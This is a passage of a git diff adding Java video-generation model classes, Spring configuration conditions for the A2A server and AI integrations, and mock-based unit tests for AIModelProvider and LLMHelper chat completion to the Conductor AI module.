The {@code data} field is preferred over {@code b64Json} for memory efficiency, as it avoids + * the 33% memory overhead of base64 encoding. + */ +public class Video { + + private String url; + private String b64Json; + private byte[] data; + private String mimeType; + + public Video(String url, String b64Json) { + this(url, b64Json, null); + } + + public Video(String url, String b64Json, String mimeType) { + this(url, b64Json, null, mimeType); + } + + public Video(String url, String b64Json, byte[] data, String mimeType) { + this.url = url; + this.b64Json = b64Json; + this.data = data; + this.mimeType = mimeType; + } + + /** Constructor for direct byte data (memory-efficient). */ + public static Video fromBytes(byte[] data, String mimeType) { + return new Video(null, null, data, mimeType); + } + + /** URL where the video can be accessed (e.g., GCS URI, HTTP URL). */ + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + /** Base64-encoded video data. */ + public String getB64Json() { + return b64Json; + } + + public void setB64Json(String b64Json) { + this.b64Json = b64Json; + } + + /** Raw video bytes (memory-efficient alternative to base64). */ + public byte[] getData() { + return data; + } + + public void setData(byte[] data) { + this.data = data; + } + + /** MIME type of the content (e.g., "video/mp4", "image/webp"). */ + public String getMimeType() { + return mimeType; + } + + public void setMimeType(String mimeType) { + this.mimeType = mimeType; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof Video video)) return false; + return Objects.equals(url, video.url) + && Objects.equals(b64Json, video.b64Json) + && java.util.Arrays.equals(data, video.data) + && Objects.equals(mimeType, video.mimeType); + } + + @Override + public int hashCode() { + int result = Objects.hash(url, b64Json, mimeType); + result = 31 * result + java.util.Arrays.hashCode(data); + return result; + } + + @Override + public String toString() { + return "Video{url='%s', mimeType='%s', b64Json=%s, data=%s}" + .formatted( + url, + mimeType, + b64Json != null ? "[" + b64Json.length() + " chars]" : "null", + data != null ? "[" + data.length + " bytes]" : "null"); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoGeneration.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoGeneration.java new file mode 100644 index 0000000..aeb3279 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoGeneration.java @@ -0,0 +1,51 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import org.springframework.ai.model.ModelResult; + +/** + * Represents a single video generation result. + * + *

Mirrors Spring AI's {@code ImageGeneration} pattern. Implements {@link ModelResult} with + * {@link Video} as the output type, making it compatible with the Spring AI model abstraction. + */ +public class VideoGeneration implements ModelResult

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import org.springframework.ai.model.ResultMetadata; + +/** + * Marker interface for per-generation metadata in video results. + * + *

Mirrors Spring AI's {@code ImageGenerationMetadata} pattern. Provider-specific metadata (e.g., + * finish reason, content filter results) can be stored in implementations of this interface. + */ +public interface VideoGenerationMetadata extends ResultMetadata {} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoMessage.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoMessage.java new file mode 100644 index 0000000..769dd9d --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoMessage.java @@ -0,0 +1,61 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import java.util.Objects; + +/** + * Represents a single instruction message for video generation. + * + *

Mirrors Spring AI's {@code ImageMessage} pattern with text content and an optional weight for + * prompt blending. + */ +public class VideoMessage { + + private String text; + private Float weight; + + public VideoMessage(String text) { + this(text, null); + } + + public VideoMessage(String text, Float weight) { + this.text = text; + this.weight = weight; + } + + public String getText() { + return text; + } + + public Float getWeight() { + return weight; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof VideoMessage that)) return false; + return Objects.equals(text, that.text) && Objects.equals(weight, that.weight); + } + + @Override + public int hashCode() { + return Objects.hash(text, weight); + } + + @Override + public String toString() { + return "VideoMessage{text='%s', weight=%s}".formatted(text, weight); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoModel.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoModel.java new file mode 100644 index 0000000..1f14da1 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoModel.java @@ -0,0 +1,41 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import org.springframework.ai.model.Model; + +/** + * Interface for video generation models. + * + *

Follows Spring AI's pattern for model interfaces (e.g., ChatModel, ImageModel). This is a + * functional interface with a single {@code call} method that accepts a {@link VideoPrompt} and + * returns a {@link VideoResponse}. + * + *

For providers that use asynchronous job submission and polling (most video providers), see + * {@link AsyncVideoModel} which extends this interface with status-checking capability. + * + * @see AsyncVideoModel + * @see Model + */ +@FunctionalInterface +public interface VideoModel extends Model { + + /** + * Generate a video based on the provided prompt. + * + * @param prompt The video generation prompt containing instructions and options + * @return The video generation response + */ + @Override + VideoResponse call(VideoPrompt prompt); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptions.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptions.java new file mode 100644 index 0000000..98f2ed7 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptions.java @@ -0,0 +1,95 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import org.springframework.ai.model.ModelOptions; + +/** + * Options for video generation requests. + * + *

Follows Spring AI's pattern for model options interfaces (e.g., ImageOptions). Extends {@link + * ModelOptions} for compatibility with the Spring AI model abstraction. + * + *

Includes portable options that work across providers, plus provider-specific options (e.g., + * negativePrompt for Gemini Veo, size for OpenAI Sora). + */ +public interface VideoOptions extends ModelOptions { + + // Core parameters (mirrors ImageOptions pattern: getModel, getN, getWidth, getHeight, etc.) + + /** The model to use for video generation (e.g., "sora-2", "veo-2.0-generate-001"). */ + String getModel(); + + /** Number of videos to generate. */ + Integer getN(); + + /** Video width in pixels. */ + Integer getWidth(); + + /** Video height in pixels. */ + Integer getHeight(); + + /** Output format: mp4, webm, etc. */ + String getOutputFormat(); + + /** Visual style: cinematic, animated, realistic, etc. */ + String getStyle(); + + // Video-specific parameters + + /** Duration in seconds. */ + Integer getDuration(); + + /** Frames per second. */ + Integer getFps(); + + /** Aspect ratio: "16:9", "9:16", "1:1", "4:3". */ + String getAspectRatio(); + + /** URL, base64-encoded, or data URI of an input image for image-to-video generation. */ + String getInputImage(); + + /** Size as "WxH" string (e.g., "1280x720"). Used by OpenAI Sora. */ + String getSize(); + + // Advanced parameters + + /** Motion intensity: slow, medium, fast, extreme. */ + String getMotion(); + + /** Seed for reproducibility. */ + Integer getSeed(); + + /** Guidance scale (1.0-20.0), controls prompt adherence. */ + Float getGuidanceScale(); + + /** Text describing what to exclude from generated videos. Used by Gemini Veo. */ + String getNegativePrompt(); + + /** Person generation policy: "dont_allow", "allow_adult". Used by Gemini Veo. */ + String getPersonGeneration(); + + /** Output resolution: "720p", "1080p". Used by Gemini Veo. */ + String getResolution(); + + /** Whether to generate audio along with video. Used by Gemini Veo 3+. */ + Boolean getGenerateAudio(); + + // Thumbnail parameters + + /** Whether to generate a preview thumbnail. */ + Boolean getGenerateThumbnail(); + + /** Timestamp (in seconds) to extract thumbnail from. */ + Integer getThumbnailTimestamp(); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptionsBuilder.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptionsBuilder.java new file mode 100644 index 0000000..62bba12 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoOptionsBuilder.java @@ -0,0 +1,59 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * Builder implementation for {@link VideoOptions}. + * + *

Follows Spring AI's pattern for options builders (e.g., ImageOptionsBuilder). Provides default + * values for common video generation parameters. + */ +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class VideoOptionsBuilder implements VideoOptions { + + // Core parameters + private String model; + @Builder.Default private Integer n = 1; + @Builder.Default private Integer width = 1280; + @Builder.Default private Integer height = 720; + @Builder.Default private String outputFormat = "mp4"; + private String style; + + // Video-specific parameters + @Builder.Default private Integer duration = 5; + @Builder.Default private Integer fps = 24; + private String aspectRatio; + private String inputImage; + private String size; + + // Advanced parameters + private String motion; + private Integer seed; + private Float guidanceScale; + private String negativePrompt; + private String personGeneration; + private String resolution; + private Boolean generateAudio; + + // Thumbnail parameters + @Builder.Default private Boolean generateThumbnail = true; + private Integer thumbnailTimestamp; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoPrompt.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoPrompt.java new file mode 100644 index 0000000..960dad6 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoPrompt.java @@ -0,0 +1,82 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import java.util.List; +import java.util.Objects; + +import org.springframework.ai.model.ModelRequest; + +/** + * Prompt for video generation requests. + * + *

Mirrors Spring AI's {@code ImagePrompt} pattern. Implements {@link ModelRequest} with a list + * of {@link VideoMessage} instructions and {@link VideoOptions} for model configuration. + * + *

Input images for image-to-video generation are specified via {@link + * VideoOptions#getInputImage()} rather than as a field on the prompt itself. + */ +public class VideoPrompt implements ModelRequest> { + + private final List messages; + private VideoOptions videoOptions; + + public VideoPrompt(List messages) { + this(messages, new VideoOptionsBuilder()); + } + + public VideoPrompt(List messages, VideoOptions options) { + this.messages = List.copyOf(messages); + this.videoOptions = options; + } + + public VideoPrompt(VideoMessage message, VideoOptions options) { + this(List.of(message), options); + } + + public VideoPrompt(String instructions, VideoOptions options) { + this(List.of(new VideoMessage(instructions)), options); + } + + public VideoPrompt(String instructions) { + this(instructions, new VideoOptionsBuilder()); + } + + @Override + public List getInstructions() { + return messages; + } + + @Override + public VideoOptions getOptions() { + return videoOptions; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof VideoPrompt that)) return false; + return Objects.equals(messages, that.messages) + && Objects.equals(videoOptions, that.videoOptions); + } + + @Override + public int hashCode() { + return Objects.hash(messages, videoOptions); + } + + @Override + public String toString() { + return "VideoPrompt{messages=%s, options=%s}".formatted(messages, videoOptions); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponse.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponse.java new file mode 100644 index 0000000..4856bba --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponse.java @@ -0,0 +1,74 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import java.util.List; +import java.util.Objects; + +import org.springframework.ai.model.ModelResponse; + +/** + * Response from a video generation request. + * + *

Mirrors Spring AI's {@code ImageResponse} pattern. Implements {@link ModelResponse} with + * {@link VideoGeneration} as the result type. Contains the list of generated videos and + * response-level metadata including job status for async operations. + */ +public class VideoResponse implements ModelResponse { + + private final List videoGenerations; + private final VideoResponseMetadata videoResponseMetadata; + + public VideoResponse(List generations) { + this(generations, new VideoResponseMetadata()); + } + + public VideoResponse(List generations, VideoResponseMetadata metadata) { + this.videoGenerations = List.copyOf(generations); + this.videoResponseMetadata = metadata; + } + + @Override + public VideoGeneration getResult() { + return videoGenerations.isEmpty() ? null : videoGenerations.getFirst(); + } + + @Override + public List getResults() { + return videoGenerations; + } + + @Override + public VideoResponseMetadata getMetadata() { + return videoResponseMetadata; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof VideoResponse that)) return false; + return Objects.equals(videoGenerations, that.videoGenerations) + && Objects.equals(videoResponseMetadata, that.videoResponseMetadata); + } + + @Override + public int hashCode() { + return Objects.hash(videoGenerations, videoResponseMetadata); + } + + @Override + public String toString() { + return "VideoResponse{generations=%s, metadata=%s}" + .formatted(videoGenerations, videoResponseMetadata); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponseMetadata.java b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponseMetadata.java new file mode 100644 index 0000000..718e70a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/VideoResponseMetadata.java @@ -0,0 +1,79 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import org.springframework.ai.model.MutableResponseMetadata; + +/** + * Metadata about a video generation response. + * + *

Mirrors Spring AI's {@code ImageResponseMetadata} pattern. Extends {@link + * MutableResponseMetadata} to provide a key-value metadata store alongside typed convenience + * accessors for common video generation metadata (job ID, status, error message). + * + *

Video generation is inherently asynchronous, so the metadata tracks the lifecycle of a + * generation job: submission (jobId), progress (status), and completion or failure (errorMessage). + */ +public class VideoResponseMetadata extends MutableResponseMetadata { + + /** Key for storing the provider's job/operation identifier. */ + public static final String KEY_JOB_ID = "jobId"; + + /** Key for storing the current job status (PENDING, PROCESSING, COMPLETED, FAILED). */ + public static final String KEY_STATUS = "status"; + + /** Key for storing an error message when the job fails. */ + public static final String KEY_ERROR_MESSAGE = "errorMessage"; + + private final Long created; + + public VideoResponseMetadata() { + this(System.currentTimeMillis()); + } + + public VideoResponseMetadata(Long created) { + this.created = created; + } + + /** Timestamp when this response was created. */ + public Long getCreated() { + return created; + } + + /** The provider's job/operation identifier for async polling. */ + public String getJobId() { + return get(KEY_JOB_ID); + } + + public void setJobId(String jobId) { + put(KEY_JOB_ID, jobId); + } + + /** Current status of the video generation job. */ + public String getStatus() { + return get(KEY_STATUS); + } + + public void setStatus(String status) { + put(KEY_STATUS, status); + } + + /** Error message when the job has failed. */ + public String getErrorMessage() { + return get(KEY_ERROR_MESSAGE); + } + + public void setErrorMessage(String errorMessage) { + put(KEY_ERROR_MESSAGE, errorMessage); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/config/A2AServerEnabledCondition.java b/ai/src/main/java/org/conductoross/conductor/config/A2AServerEnabledCondition.java new file mode 100644 index 0000000..ccb840c --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/config/A2AServerEnabledCondition.java @@ -0,0 +1,33 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Gates the A2A server (exposing Conductor workflows as A2A agents) on {@code + * conductor.a2a.server.enabled=true}. Independent of the LLM/AI integration flag — the server side + * only needs core workflow/metadata services. + */ +public class A2AServerEnabledCondition extends AllNestedConditions { + public A2AServerEnabledCondition() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @ConditionalOnProperty( + name = "conductor.a2a.server.enabled", + havingValue = "true", + matchIfMissing = false) + static class A2AServerEnabled {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/config/AIIntegrationEnabledCondition.java b/ai/src/main/java/org/conductoross/conductor/config/AIIntegrationEnabledCondition.java new file mode 100644 index 0000000..b9fd67c --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/config/AIIntegrationEnabledCondition.java @@ -0,0 +1,28 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +public class AIIntegrationEnabledCondition extends AllNestedConditions { + public AIIntegrationEnabledCondition() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @ConditionalOnProperty( + name = "conductor.integrations.ai.enabled", + havingValue = "true", + matchIfMissing = false) + static class AIIntegrationsEnabled {} +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/AIModelProviderTest.java b/ai/src/test/java/org/conductoross/conductor/ai/AIModelProviderTest.java new file mode 100644 index 0000000..dc94c75 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/AIModelProviderTest.java @@ -0,0 +1,163 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.core.env.Environment; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class AIModelProviderTest { + + private Environment mockEnv; + + @BeforeEach + void setUp() { + mockEnv = mock(Environment.class); + when(mockEnv.getProperty(eq("conductor.file-storage.parentDir"), anyString())) + .thenReturn("/tmp/test-payload"); + } + + @Test + void testEmptyProviderList() { + AIModelProvider provider = new AIModelProvider(List.of(), mockEnv); + + assertNotNull(provider); + // payloadStoreLocation is null when no configs are provided because it's set + // inside the loop + assertNull(provider.getPayloadStoreLocation()); + } + + @Test + void testGetModel_nullProviderThrowsException() { + AIModelProvider provider = new AIModelProvider(List.of(), mockEnv); + ChatCompletion input = new ChatCompletion(); + input.setLlmProvider(null); + + RuntimeException ex = assertThrows(RuntimeException.class, () -> provider.getModel(input)); + assertEquals("llmProvider not specified: null", ex.getMessage()); + } + + @Test + void testGetModel_unknownProviderThrowsException() { + AIModelProvider provider = new AIModelProvider(List.of(), mockEnv); + ChatCompletion input = new ChatCompletion(); + input.setLlmProvider("unknown_provider"); + + RuntimeException ex = assertThrows(RuntimeException.class, () -> provider.getModel(input)); + assertEquals("no configuration found for: unknown_provider", ex.getMessage()); + } + + @Test + void testGetModel_registeredProviderReturnsModel() { + // Create a mock model configuration + AIModel mockModel = mock(AIModel.class); + when(mockModel.getModelProvider()).thenReturn("test_provider"); + + @SuppressWarnings("unchecked") + ModelConfiguration mockConfig = mock(ModelConfiguration.class); + when(mockConfig.get()).thenReturn(mockModel); + + AIModelProvider provider = new AIModelProvider(List.of(mockConfig), mockEnv); + + ChatCompletion input = new ChatCompletion(); + input.setLlmProvider("test_provider"); + + AIModel result = provider.getModel(input); + assertNotNull(result); + assertEquals("test_provider", result.getModelProvider()); + } + + @Test + void testMultipleProviders() { + AIModel mockModel1 = mock(AIModel.class); + when(mockModel1.getModelProvider()).thenReturn("provider1"); + + AIModel mockModel2 = mock(AIModel.class); + when(mockModel2.getModelProvider()).thenReturn("provider2"); + + @SuppressWarnings("unchecked") + ModelConfiguration mockConfig1 = mock(ModelConfiguration.class); + when(mockConfig1.get()).thenReturn(mockModel1); + + @SuppressWarnings("unchecked") + ModelConfiguration mockConfig2 = mock(ModelConfiguration.class); + when(mockConfig2.get()).thenReturn(mockModel2); + + AIModelProvider provider = new AIModelProvider(List.of(mockConfig1, mockConfig2), mockEnv); + + ChatCompletion input1 = new ChatCompletion(); + input1.setLlmProvider("provider1"); + assertEquals("provider1", provider.getModel(input1).getModelProvider()); + + ChatCompletion input2 = new ChatCompletion(); + input2.setLlmProvider("provider2"); + assertEquals("provider2", provider.getModel(input2).getModelProvider()); + } + + @Test + void testProviderInitializationFailure_logsAndContinues() { + // Provider that throws during initialization + @SuppressWarnings("unchecked") + ModelConfiguration failingConfig = mock(ModelConfiguration.class); + when(failingConfig.get()).thenThrow(new RuntimeException("Initialization failed")); + + // Valid provider + AIModel mockModel = mock(AIModel.class); + when(mockModel.getModelProvider()).thenReturn("valid_provider"); + + @SuppressWarnings("unchecked") + ModelConfiguration validConfig = mock(ModelConfiguration.class); + when(validConfig.get()).thenReturn(mockModel); + + // Should not throw, failing provider is skipped + AIModelProvider provider = + new AIModelProvider(List.of(failingConfig, validConfig), mockEnv); + + ChatCompletion input = new ChatCompletion(); + input.setLlmProvider("valid_provider"); + + assertNotNull(provider.getModel(input)); + } + + @Test + void testGetTokenUsageLogger_returnsConsumer() { + AIModelProvider provider = new AIModelProvider(List.of(), mockEnv); + + assertNotNull(provider.getTokenUsageLogger()); + } + + @Test + void testPayloadStoreLocation_defaultValue() { + Environment envWithDefault = mock(Environment.class); + String defaultPath = System.getProperty("user.home") + "/worker-payload/"; + when(envWithDefault.getProperty(eq("conductor.file-storage.parentDir"), anyString())) + .thenAnswer(inv -> inv.getArgument(1)); // Return the default + + AIModel mockModel = mock(AIModel.class); + when(mockModel.getModelProvider()).thenReturn("test"); + + @SuppressWarnings("unchecked") + ModelConfiguration mockConfig = mock(ModelConfiguration.class); + when(mockConfig.get()).thenReturn(mockModel); + + AIModelProvider provider = new AIModelProvider(List.of(mockConfig), envWithDefault); + + assertEquals(defaultPath, provider.getPayloadStoreLocation()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/LLMHelperChatCompleteTest.java b/ai/src/test/java/org/conductoross/conductor/ai/LLMHelperChatCompleteTest.java new file mode 100644 index 0000000..e1797fe --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/LLMHelperChatCompleteTest.java @@ -0,0 +1,615 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.atomic.AtomicReference; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.ChatMessage; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.ToolCall; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.Message; +import org.springframework.ai.chat.metadata.ChatGenerationMetadata; +import org.springframework.ai.chat.metadata.ChatResponseMetadata; +import org.springframework.ai.chat.metadata.DefaultUsage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.image.ImageModel; + +import com.netflix.conductor.common.metadata.tasks.Task; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertSame; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * End-to-end coverage of {@link LLMHelper#chatComplete(Task, AIModel, ChatCompletion, String, + * java.util.function.Consumer)} using an in-process fake {@link AIModel} / {@link ChatModel}. The + * existing {@link LLMHelperTest} pins the small pure helpers ({@code parseNestedJsonStrings}, + * {@code isJsonString}, {@code extractMethodFromInputParameters}, {@code + * ensureLastMessageIsFromUser}); this file covers the larger code path around the chat round-trip — + * reasoning / responseId extraction, tool-call assembly, finishReason mapping, JSON output parsing, + * single-vs-multi generation reduction, and token-usage logging — without needing a live LLM. + */ +public class LLMHelperChatCompleteTest { + + private LLMHelper helper; + + @BeforeEach + void setUp() { + // ``storeMedia`` iterates over ``documentLoaders`` unconditionally, so a null list + // would NPE before checking the location. An empty list is the right "no-op" wiring + // for the unit-test path that never expects media to be stored. + helper = new LLMHelper(null, new ArrayList<>()); + } + + private static Task task(String id) { + Task t = new Task(); + t.setTaskId(id); + return t; + } + + /** + * Most fake {@link AIModel}s in these tests only override {@link #getChatModel()}. Anything + * that depends on provider-specific options ({@code getChatOptions}) falls back to the + * interface default, which returns a {@code ToolCallingChatOptions} — exactly what production + * adapters do for the generic path. That keeps each test focused on the helper logic rather + * than provider plumbing. + */ + static class FakeAIModel implements AIModel { + private final ChatModel chatModel; + + FakeAIModel(ChatModel chatModel) { + this.chatModel = chatModel; + } + + @Override + public String getModelProvider() { + return "fake"; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest req) { + throw new UnsupportedOperationException(); + } + + @Override + public ChatModel getChatModel() { + return chatModel; + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException(); + } + } + + /** + * Minimal {@link ChatModel} that returns a {@link ChatResponse} the test pre-stages. Optional + * {@link #lastPrompt} capture lets assertions reach into the messages the helper actually built + * — important for verifying instruction injection + {@code ensureLastMessageIsFromUser}. + */ + static class StagedChatModel implements ChatModel { + private ChatResponse staged; + Prompt lastPrompt; + + void stage(ChatResponse response) { + this.staged = response; + } + + @Override + public ChatResponse call(Prompt prompt) { + this.lastPrompt = prompt; + return staged; + } + } + + private static ChatResponse responseOf( + AssistantMessage assistantMessage, String finishReason, ChatResponseMetadata metadata) { + Generation g = + new Generation( + assistantMessage, + ChatGenerationMetadata.builder().finishReason(finishReason).build()); + return new ChatResponse(List.of(g), metadata); + } + + private static ChatResponseMetadata metaWithUsage(int prompt, int completion, int total) { + return ChatResponseMetadata.builder() + .usage(new DefaultUsage(prompt, completion, total)) + .build(); + } + + // ================================================================= + // chatComplete — happy path: single text result, no tools / reasoning + // 